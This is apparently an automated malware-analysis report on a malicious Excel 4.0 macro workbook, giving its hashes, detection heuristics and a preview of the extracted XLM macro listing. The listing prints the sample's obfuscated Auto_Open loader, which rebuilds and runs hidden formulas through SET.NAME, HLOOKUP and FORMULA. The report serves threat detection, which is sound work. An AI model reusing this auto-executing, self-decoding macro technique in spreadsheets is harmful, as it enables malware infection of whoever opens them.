Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dcdd10e52ca992e8…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:27:47 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: 1c686fb2fd57d6d5b25a1f04287b1f09 SHA-1: 7ca0a2f762e4297adfe3c9e38b86c9f6c3985a01 SHA-256: dcdd10e52ca992e83a6a7d0cae2e9fd7dc1e91238ce7b9458432a907224cbd79
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6385 bytes
SHA-256: 7893b083c27c52b80497089c7fa50f33088ee590fda4653eb2d5d2f2c93b43c4
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  XYD
' 0018     21 LABEL : Cell Value, String Constant - AffmWR len=0 
' 0018     22 LABEL : Cell Value, String Constant - apgALCG len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A167 
' 0018     21 LABEL : Cell Value, String Constant - aVuPIj len=0 
' 0018     24 LABEL : Cell Value, String Constant - CEiiYOMCM len=0 
' 0018     22 LABEL : Cell Value, String Constant - ErpLRlI len=0 
' 0018     22 LABEL : Cell Value, String Constant - InMzBYr len=0 
' 0018     22 LABEL : Cell Value, String Constant - JCqxMiJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - klHNjQfqVgT len=0 
' 0018     21 LABEL : Cell Value, String Constant - LnzROB len=0 
' 0018     23 LABEL : Cell Value, String Constant - MlZFIjuE len=0 
' 0018     21 LABEL : Cell Value, String Constant - pNrGhv len=0 
' 0018     24 LABEL : Cell Value, String Constant - pRgPYYyui len=0 
' 0018     24 LABEL : Cell Value, String Constant - Qgjxgvxab len=0 
' 0018     27 LABEL : Cell Value, String Constant - rDbliZJxGXsS len=0 
' 0018     20 LABEL : Cell Value, String Constant - WRbdd len=0 
' 0018     22 LABEL : Cell Value, String Constant - xRtnEhv len=0 
' 0018     20 LABEL : Cell Value, String Constant - YpSUO len=0 
' 0018     25 LABEL : Cell Value, String Constant - yRLBOQedao len=0 
' 0018     22 LABEL : Cell Value, String Constant - zdOHrGv len=0 
' 0018     23 LABEL : Cell Value, String Constant - zMbKtAOQ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  XYD,A65,"SET.NAME("xRtnEhv",VALUE("0"))",""
'  XYD,A69,"SET.NAME("CEiiYOMCM",xRtnEhv)",""
'  XYD,A73,"SET.NAME("Qgjxgvxab",xRtnEhv)",""
'  XYD,A78,"SET.NAME("WRbdd",COUNTA(MlZFIjuE))",""
'  XYD,A83,"SET.NAME("rDbliZJxGXsS",COUNTA(InMzBYr))",""
'  XYD,A88,[],""
'  XYD,A91,"SET.NAME("zdOHrGv","")",""
'  XYD,A94,"CEiiYOMCM",""
'  XYD,A99,"SET.NAME("YpSUO",HLOOKUP("*",MlZFIjuE,CEiiYOMCM,FALSE))",""
'  XYD,A104,"pNrGhv",""
'  XYD,A107,"SET.NAME("yRLBOQedao",xRtnEhv)",""
'  XYD,A112,[],""
'  XYD,A115,"yRLBOQedao",""
'  XYD,A119,"LnzROB",""
'  XYD,A121,"ErpLRlI",""
'  XYD,A125,"JCqxMiJ",""
'  XYD,A129,"SET.NAME("aVuPIj",VALUE(HLOOKUP("*",InMzBYr,JCqxMiJ,FALSE)))",""
'  XYD,A133,"AffmWR",""
'  XYD,A138,"zdOHrGv",""
'  XYD,A140,"Qgjxgvxab",""
'  XYD,A144,NEXT(),""
'  XYD,A146,"zMbKtAOQ",""
'  XYD,A151,"SET.NAME("f",INT(T(FORMULA(T(zdOHrGv)&"",""&T(zMbKtAOQ)))))",""
'  XYD,A155,"apgALCG",""
'  XYD,A157,NEXT(),""
'  XYD,A162,RETURN(),""
'  XYD,A188,"SET.NAME("klHNjQfqVgT",A65)",""
'  XYD,A193,"MlZFIjuE",""
'  XYD,A197,"SET.NAME("InMzBYr",R98C13)",""
'  XYD,A199,"SET.NAME("apgALCG",208)",""
'  XYD,A202,"SET.NAME("pRgPYYyui",1)",""
'  XYD,A207,klHNjQfqVgT(),""
'  XYD,A208,HALT(),""

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